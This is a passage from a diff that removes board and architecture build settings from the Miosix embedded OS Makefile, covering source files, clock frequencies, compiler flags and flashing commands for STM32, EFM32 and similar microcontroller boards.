\ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F415VG_ST25DVDISCOVERY - CXXFLAGS_BASE += -D_BOARD_STM32F415VG_ST25DVDISCOVERY - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_168MHz=168000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture supports processes - POSTLD := mx-postlinker - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM4_STM32F4 $(CLOCK_FREQ) $(XRAM) \ - $(SRAM_BOOT) $(CPU) $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM4_STM32F4 $(CLOCK_FREQ) $(XRAM) \ - $(SRAM_BOOT) $(CPU) $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/core/mpu_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - arch/common/drivers/dcc.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/drivers/stm32_gpio.cpp \ - arch/common/drivers/sd_stm32f2_f4_f7.cpp \ - arch/common/core/stm32_32bit_os_timer.cpp \ - arch/common/CMSIS/Device/ST/STM32F4xx/Source/Templates/system_stm32f4xx.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM3_stm32f2 -## -else ifeq ($(ARCH),cortexM3_stm32f2) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM3_stm32f2/common - - ##------------------------------------------------------------------------- - ## BOARD: stm32f207ig_stm3220g-eval - ## - ifeq ($(OPT_BOARD),stm32f207ig_stm3220g-eval) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/sd_stm32f2_f4_f7.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM3220G_EVAL - CXXFLAGS_BASE += -D_BOARD_STM3220G_EVAL - - ## Clock frequency - CLOCK_FREQ := -DHSE_VALUE=25000000 -DSYSCLK_FREQ_120MHz=120000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - ifeq ($(LINKER_SCRIPT),$(LINKER_SCRIPT_PATH)stm32_1m+128k_all_in_xram.ld) - PROG ?= $(KPATH)/_tools/bootloaders/stm32/pc_loader/pc_loader \ - /dev/ttyUSB0 main.bin - else - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - endif - - ##------------------------------------------------------------------------- - ## BOARD: stm32f207zg_ethboard_v2 - ## - else ifeq ($(OPT_BOARD),stm32f207zg_ethboard_v2) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2 - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/sd_stm32f2_f4_f7.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_ETHBOARDV2 - CXXFLAGS_BASE += -D_BOARD_ETHBOARDV2 - - ## Clock frequency - CLOCK_FREQ := -DHSE_VALUE=25000000 -DSYSCLK_FREQ_120MHz=120000000 - - ## XRAM is always enabled in this board - XRAM += -D__ENABLE_XRAM - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - ifeq ($(LINKER_SCRIPT),$(LINKER_SCRIPT_PATH)stm32_1m+128k_code_in_xram.ld) - PROG ?= $(KPATH)/_tools/bootloaders/stm32/pc_loader/pc_loader \ - /dev/ttyUSB0 main.bin - else - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - endif - - ##------------------------------------------------------------------------- - ## BOARD: stm32f207zg_nucleo - ## - else ifeq ($(OPT_BOARD),stm32f207zg_nucleo) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f2/stm32f207zg_nucleo - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_1m+128k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/sd_stm32f2_f4_f7.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F207ZG_NUCLEO - CXXFLAGS_BASE += -D_BOARD_STM32F207ZG_NUCLEO - - ## Clock frequency - ## External clock is 8Mhz provided from MCO output of ST-LINK. Actual - ## HSE crystal (X3) is not fitted. - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_120MHz=120000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f207ze_als_camboard - ## - else ifeq ($(OPT_BOARD),stm32f207ze_als_camboard) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f2/stm32f207ze_als_camboard - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_1m+128k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_ALS_CAMBOARD - CXXFLAGS_BASE += -D_BOARD_ALS_CAMBOARD - - ## Clock frequency - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_120MHz=120000000 - - ## XRAM is always enabled in this board - XRAM += -D__ENABLE_XRAM - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f205rg_sony-newman - ## - else ifeq ($(OPT_BOARD),stm32f205rg_sony-newman) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f2/stm32f205rg_sony-newman - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_1M+128k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32f2_f4_i2c.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_SONY_NEWMAN - CXXFLAGS_BASE += -D_BOARD_SONY_NEWMAN - - ## Clock frequency - CLOCK_FREQ := -DHSE_VALUE=26000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - ## The magic.bin is somewhat used by the bootloader to detect a good fw - PROG ?= perl -e 'print "\xe7\x91\x11\xc0"' > magic.bin; \ - dfu-util -d 0fce:f0fa -a 0 -i 0 -s 0x08040000 -D main.bin; \ - dfu-util -d 0fce:f0fa -a 0 -i 0 -s 0x080ffffc -D magic.bin; \ - rm magic.bin - - ##------------------------------------------------------------------------- - ## BOARD: stm32f205rc_skyward_stormtrooper - ## - else ifeq ($(OPT_BOARD),stm32f205rc_skyward_stormtrooper) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_512k+128k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32f2_f4_i2c.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F205RC_SKYWARD_STORMTROOPER - CXXFLAGS_BASE += -D_BOARD_STM32F205RC_SKYWARD_STORMTROOPER - - ## Clock frequency - CLOCK_FREQ := -DHSE_VALUE=25000000 -DSYSCLK_FREQ_120MHz=120000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f205_generic - ## - else ifeq ($(OPT_BOARD),stm32f205_generic) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32f2/stm32f205_generic - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_1m+128k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/sd_stm32f2_f4_f7.cpp \ - arch/common/drivers/stm32f2_f4_i2c.cpp \ - arch/common/drivers/servo_stm32.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F205_GENERIC - CXXFLAGS_BASE += -D_BOARD_STM32F205_GENERIC - - ## Clock frequency - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_120MHz=120000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture supports processes - POSTLD := mx-postlinker - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=cortex-m3 -mthumb - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM3_STM32F2 $(CLOCK_FREQ) $(XRAM) $(CPU) \ - $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM3_STM32F2 $(CLOCK_FREQ) $(XRAM) $(CPU) \ - $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/core/mpu_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - arch/common/drivers/dcc.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/drivers/stm32_gpio.cpp \ - arch/common/core/stm32_32bit_os_timer.cpp \ - arch/common/CMSIS/Device/ST/STM32F2xx/Source/Templates/system_stm32f2xx.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM3_stm32l1 -## -else ifeq ($(ARCH),cortexM3_stm32l1) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM3_stm32l1/common - - ##------------------------------------------------------------------------- - ## BOARD: stm32l151c8_als_mainboard - ## - ifeq ($(OPT_BOARD),stm32l151_als_mainboard) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_stm32l1/stm32l151c8_als_mainboard - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_64k+10k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_ALS_MAINBOARD -DSTM32L151xB - CXXFLAGS_BASE += -D_BOARD_ALS_MAINBOARD -DSTM32L151xB - - ## Clock frequency - CLOCK_FREQ := -DSYSCLK_FREQ_16MHz=16000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture does not support processes - #POSTLD := - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=cortex-m3 -mthumb - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM3_STM32L1 $(CLOCK_FREQ) $(XRAM) $(CPU) \ - $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM3_STM32L1 $(CLOCK_FREQ) $(XRAM) $(CPU) \ - $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - arch/common/drivers/stm32_gpio.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/core/stm32_16bit_os_timer.cpp \ - arch/common/CMSIS/Device/ST/STM32L1xx/Source/Templates/system_stm32l1xx.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM3_efm32gg -## -else ifeq ($(ARCH),cortexM3_efm32gg) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM3_efm32gg/common - - ##------------------------------------------------------------------------- - ## BOARD: efm32gg332f1024_wandstem - ## - ifeq ($(OPT_BOARD),efm32gg332f1024_wandstem) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_efm32gg/efm32gg332f1024_wandstem - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp \ - $(BOARD_INC)/interfaces-impl/spi.cpp \ - $(BOARD_INC)/interfaces-impl/power_manager.cpp \ - $(BOARD_INC)/interfaces-impl/os_timer.cpp \ - $(BOARD_INC)/interfaces-impl/timer_interface.cpp \ - $(BOARD_INC)/interfaces-impl/rtc.cpp \ - $(BOARD_INC)/interfaces-impl/hrtb.cpp \ - $(BOARD_INC)/interfaces-impl/gpio_timer.cpp \ - $(BOARD_INC)/interfaces-impl/transceiver_timer.cpp \ - $(BOARD_INC)/interfaces-impl/gpioirq.cpp \ - $(BOARD_INC)/interfaces-impl/transceiver.cpp \ - $(BOARD_INC)/interfaces-impl/flopsync_vht.cpp \ - $(BOARD_INC)/interfaces-impl/vht.cpp \ - $(BOARD_INC)/interfaces-impl/virtual_clock.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -DEFM32GG332F1024 -D_BOARD_WANDSTEM - CXXFLAGS_BASE += -DEFM32GG332F1024 -D_BOARD_WANDSTEM - - ## Clock frequency - CLOCK_FREQ := -DEFM32_HFXO_FREQ=48000000 -DEFM32_LFXO_FREQ=32768 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= wandstem-flash -m u -f $(if $(ROMFS_DIR), image.bin, main.bin) - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture supports processes - POSTLD := mx-postlinker - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=cortex-m3 -mthumb - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM3_EFM32GG $(CLOCK_FREQ) $(CPU) \ - $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM3_EFM32GG $(CLOCK_FREQ) $(CPU) \ - $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/core/mpu_cortexMx.cpp \ - arch/common/drivers/efm32_serial.cpp \ - arch/common/drivers/efm32_adc.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - arch/common/drivers/efm32_gpio.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Source/system_efm32gg.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM7_stm32f7 -## -else ifeq ($(ARCH),cortexM7_stm32f7) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM7_stm32f7/common - - ##------------------------------------------------------------------------- - ## BOARD: stm32f746zg_nucleo - ## - ifeq ($(OPT_BOARD),stm32f746zg_nucleo) - ## The stm32f746 lacks the double precision FPU, so we will build for m4 - CPU := -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM7_stm32f7/stm32f746zg_nucleo - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F746ZG_NUCLEO - CXXFLAGS_BASE += -D_BOARD_STM32F746ZG_NUCLEO - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_216MHz=216000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f767zi_nucleo - ## - else ifeq ($(OPT_BOARD),stm32f767zi_nucleo) - ## The stm32f767 has the double precision FPU, so we will build for m7 - CPU := -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16 - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM7_stm32f7/stm32f767zi_nucleo - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_2m+384k_ram.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F767ZI_NUCLEO - CXXFLAGS_BASE += -D_BOARD_STM32F767ZI_NUCLEO - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_216MHz=216000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f769ni_discovery - ## - else ifeq ($(OPT_BOARD),stm32f769ni_discovery) - ## The stm32f769 has the double precision FPU, so we will build for m7 - CPU := -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16 - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM7_stm32f7/stm32f769ni_discovery - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_2m+16m_xram.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F769NI_DISCO - CXXFLAGS_BASE += -D_BOARD_STM32F769NI_DISCO - - ## Enables the initialization of the external 16MB SDRAM memory - XRAM := -D__ENABLE_XRAM - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=25000000 -DSYSCLK_FREQ_216MHz=216000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f765ii_marco_ram_board - ## - else ifeq ($(OPT_BOARD),stm32f765ii_marco_ram_board) - ## The stm32f767 has the double precision FPU, so we will build for m7 - CPU := -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16 - - ## Base directory with header files for this board - BOARD_INC := arch/cortexM7_stm32f7/stm32f765ii_marco_ram_board - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F765II_MARCO_RAM_BOARD - CXXFLAGS_BASE += -D_BOARD_STM32F765II_MARCO_RAM_BOARD - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=25000000 -DSYSCLK_FREQ_216MHz=216000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG_BIN = $(if $(ROMFS_DIR),image.bin,main.bin) - PROG ?= openocd \ - -f '$(KPATH)/$(BOARD_INC)/openocd.cfg' \ - -c 'program $(PROG_BIN) 0x8000000 verify reset' \ - -c shutdown - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture supports processes - POSTLD := mx-postlinker - - ## Select appropriate compiler flags for both ASM/C/C++/linker - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM7_STM32F7 $(CLOCK_FREQ) $(XRAM) \ - $(SRAM_BOOT) $(CPU) $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM7_STM32F7 $(CLOCK_FREQ) $(XRAM) \ - $(SRAM_BOOT) $(CPU) $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/core/mpu_cortexMx.cpp \ - arch/common/core/cache_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - arch/common/drivers/sd_stm32f2_f4_f7.cpp \ - arch/common/drivers/dcc.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/drivers/stm32_gpio.cpp \ - arch/common/core/stm32_32bit_os_timer.cpp \ - arch/common/CMSIS/Device/ST/STM32F7xx/Source/Templates/system_stm32f7xx.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM7_stm32h7 -## -else ifeq ($(ARCH),cortexM7_stm32h7) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM7_stm32h7/common - - ##------------------------------------------------------------------------- - ## BOARD: stm32h753xi_eval - ## - ifeq ($(OPT_BOARD),stm32h753xi_eval) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM7_stm32h7/stm32h753xi_eval - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32H753XI_EVAL - CXXFLAGS_BASE += -D_BOARD_STM32H753XI_EVAL - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=25000000 -DSYSCLK_FREQ_400MHz=400000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32h723zg_nucleo - ## - else ifeq ($(OPT_BOARD),stm32h723zg_nucleo) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM7_stm32h7/stm32h723zg_nucleo - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32H723ZG_NUCLEO - CXXFLAGS_BASE += -D_BOARD_STM32H723ZG_NUCLEO - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_550MHz=550000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32h755zi_nucleo - ## - else ifeq ($(OPT_BOARD),stm32h755zi_nucleo) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM7_stm32h7/stm32h755zi_nucleo - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - arch/common/drivers/stm32_hardware_rng.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32H755ZI_NUCLEO - CXXFLAGS_BASE += -D_BOARD_STM32H755ZI_NUCLEO - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - ## While the chip can run up to 480MHz, the board uses the SMPS feature - ## that limits clock speed to 400MHz - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_400MHz=400000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture supports processes - POSTLD := mx-postlinker - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16 - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM7_STM32H7 $(CLOCK_FREQ) $(XRAM) \ - $(SRAM_BOOT) $(CPU) $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM7_STM32H7 $(CLOCK_FREQ) $(XRAM) \ - $(SRAM_BOOT) $(CPU) $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - 